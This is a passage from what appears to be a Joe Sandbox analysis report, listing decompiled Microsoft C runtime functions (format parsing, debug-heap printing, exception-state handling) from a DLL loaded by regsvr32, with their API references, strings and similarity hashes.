				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BD97

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: 642eb86adef82c061240f963ecada7643a5a14508ef6930c6b5b5b901d4a1b0a
Instruction ID: e5e15c00c08c12f84a3dc3260eb1d354ac6b745d6778a8e2653f024642a32d0f
Opcode Fuzzy Hash: 642eb86adef82c061240f963ecada7643a5a14508ef6930c6b5b5b901d4a1b0a
Instruction Fuzzy Hash: 0D515E72A0D6C28AE7F0DB24E8947BEBBE4E384355F600126D2CD869A9DB7DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD30 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3DD30(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t139;
				char* _t159;
				char* _t160;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t159 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t160 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t139 + _t160 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DD45

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: 84afe223306fb715127401468d722999f495e1b64e531eed53167a130bda57e2
Instruction ID: 8bcff37972761654e6234074656759b20f0543a56075d35ebc75ec1029b84271
Opcode Fuzzy Hash: 84afe223306fb715127401468d722999f495e1b64e531eed53167a130bda57e2
Instruction Fuzzy Hash: 0451FCB2A0C6C28AE7B09B64E8407BEB7E4F394346F600125E6C9879A9D77DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDE7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDE7(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t113;
				char* _t133;

				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t133 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t113 + _t133 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BDFC

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: 9b0d14d024408deea39e0a17da6f412b88ec8238870ee572ebff0cd3a83ccddf
Instruction ID: ff5535f435e3edde8ece23b3de1a4987682526c6b5e3102cfdc31443931d3947
Opcode Fuzzy Hash: 9b0d14d024408deea39e0a17da6f412b88ec8238870ee572ebff0cd3a83ccddf
Instruction Fuzzy Hash: D9416B72A0DAC28AE3F0DB24E8947BEB7E4E380345F600126D2DD869A9DB3DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD95 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD95(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t113;
				char* _t133;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t133 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t113 + _t133 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DDAA

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: e93e5a5da9d23810187a949f5699427fbde4a421f2c98764f5e18462d0498a04
Instruction ID: 23759b0de1675013ddf4d03c0cfaf8b870fc7ca6517f58e2c4ab95e624369fc8
Opcode Fuzzy Hash: e93e5a5da9d23810187a949f5699427fbde4a421f2c98764f5e18462d0498a04
Instruction Fuzzy Hash: E5415EB2A0C6C28AE7F09B64E8407BE72E4F384746F600125D6C9875E9DB3DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26C32 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
_printMemBlockData, xrefs: 000007FEF9D26DED
(*_errno()), xrefs: 000007FEF9D26DF9
%.2X , xrefs: 000007FEF9D26DAD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_oneof_swprintf_p
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2731067127-3604075083
Opcode ID: a5e89465a157929821ec7ea19f55365b45851ed2ed8ce63167a36004212f5177
Instruction ID: 5622a3d1d015b06430e144c3880eb2afd9b3a378503d823bdd7d048160e8afa8
Opcode Fuzzy Hash: a5e89465a157929821ec7ea19f55365b45851ed2ed8ce63167a36004212f5177
Instruction Fuzzy Hash: BB413C72A0D7C186E7A49B51E8907AEBBA1F784740FA14126D6CD47BA9DB3ED404CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34F20 Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D34F20(long long __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24, signed int _a32) {
				void* _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				void* _v56;
				signed int _v72;
				long long _v80;
				signed int _v88;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t101;
				long long _t113;
				intOrPtr _t116;
				void* _t117;
				long long _t118;
				long long _t121;
				long long _t122;
				long long _t125;
				void* _t164;

				_t113 = __rax;
				_a32 = r9d;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v88 = E000007FE7FEF9D33B70(_a8, _a16, _a24);
				E000007FE7FEF9D2E680(_t79, _t113);
				_v80 = _t113;
				0xf9d24000();
				_v56 = _t113 + 0x100;
				 *_v56 =  *_v56 + 1;
				if (_v88 == 0xffffffff) goto 0xf9d35103;
				if (_v88 - _a32 <= 0) goto 0xf9d35103;
				if (_v88 - 0xffffffff <= 0) goto 0xf9d34fb9;
				_t116 = _a24;
				if (_v88 -  *((intOrPtr*)(_t116 + 4)) >= 0) goto 0xf9d34fb9;
				goto 0xf9d34fbe;
				E000007FE7FEF9D2E680(E000007FE7FEF9D2CF80(_t116), _t116);
				_t117 = _t116 +  *((intOrPtr*)(_a24 + 8));
				_v72 =  *((intOrPtr*)(_t117 + _v88 * 8));
				_t88 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t117 + _v88 * 8)), _t117);
				_t118 = _t117 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t118 + 4 + _v88 * 8)) == 0) goto 0xf9d35038;
				_t89 = E000007FE7FEF9D2E680(_t88, _t118);
				_v48 = _t118;
				_t90 = E000007FE7FEF9D2E680(_t89, _t118);
				_t121 = _v48 +  *((intOrPtr*)(_t118 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v40 = _t121;
				goto 0xf9d35041;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d350f4;
				r9d = _v72;
				_t92 = E000007FE7FEF9D2E680(E000007FE7FEF9D33BD0(_t90, _a8, _a16, _a24), _t121);
				_t122 = _t121 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t122 + 4 + _v88 * 8)) == 0) goto 0xf9d350c9;
				_t93 = E000007FE7FEF9D2E680(_t92, _t122);
				_v32 = _t122;
				E000007FE7FEF9D2E680(_t93, _t122);
				_t125 = _v32 +  *((intOrPtr*)(_t122 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v24 = _t125;
				goto 0xf9d350d2;
				_v24 = 0;
				r8d = 0x103;
				E000007FE7FEF9D2E6C0(E000007FE7FEF9D3D7E0(_v24, _a8, _t164), _t125, _v80);
				goto 0xf9d350f6;
				_v88 = _v72;
				goto 0xf9d34f83;
				0xf9d24000();
				if ( *((intOrPtr*)(_t125 + 0x100)) <= 0) goto 0xf9d35131;
				0xf9d24000();
				_v16 = _t125 + 0x100;
				 *_v16 =  *_v16 - 1;
				if (_v88 == 0xffffffff) goto 0xf9d3514a;
				if (_v88 - _a32 <= 0) goto 0xf9d3514a;
				_t101 = E000007FE7FEF9D2CF80(_v16);
				r9d = _v88;
				return E000007FE7FEF9D33BD0(_t101, _a8, _a16, _a24);
			}

0x7fef9d34f20
0x7fef9d34f20
0x7fef9d34f25
0x7fef9d34f2a
0x7fef9d34f2f
0x7fef9d34f55
0x7fef9d34f59
0x7fef9d34f5e
0x7fef9d34f63
0x7fef9d34f6e
0x7fef9d34f81
0x7fef9d34f88
0x7fef9d34f99
0x7fef9d34fa4
0x7fef9d34fa6
0x7fef9d34fb5
0x7fef9d34fb7
0x7fef9d34fbe
0x7fef9d34fcf
0x7fef9d34fda
0x7fef9d34fde
0x7fef9d34fef
0x7fef9d34ffc
0x7fef9d34ffe
0x7fef9d35003
0x7fef9d35008
0x7fef9d3502e
0x7fef9d35031
0x7fef9d35036
0x7fef9d35038
0x7fef9d35047
0x7fef9d3504d
0x7fef9d3506f
0x7fef9d35080
0x7fef9d3508d
0x7fef9d3508f
0x7fef9d35094
0x7fef9d35099
0x7fef9d350bf
0x7fef9d350c2
0x7fef9d350c7
0x7fef9d350c9
0x7fef9d350d2
0x7fef9d350ef
0x7fef9d350f4
0x7fef9d350fa
0x7fef9d350fe
0x7fef9d35103
0x7fef9d3510f
0x7fef9d35111
0x7fef9d3511c
0x7fef9d3512f
0x7fef9d35136
0x7fef9d35143
0x7fef9d35145
0x7fef9d3514a
0x7fef9d35170

APIs

__GetCurrentState.LIBCMTD ref: 000007FEF9D34F50

Part of subcall function 000007FEF9D33B70: __StateFromControlPc.LIBCMTD ref: 000007FEF9D33BA4

_inconsistency.LIBCMTD ref: 000007FEF9D34FB9
__SetState.LIBCMTD ref: 000007FEF9D3506A
_SetImageBase.LIBCMTD ref: 000007FEF9D350EF
_inconsistency.LIBCMTD ref: 000007FEF9D35145
__SetState.LIBCMTD ref: 000007FEF9D35167

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: State$_inconsistency$BaseControlCurrentFromImage
String ID:
API String ID: 2452617236-0
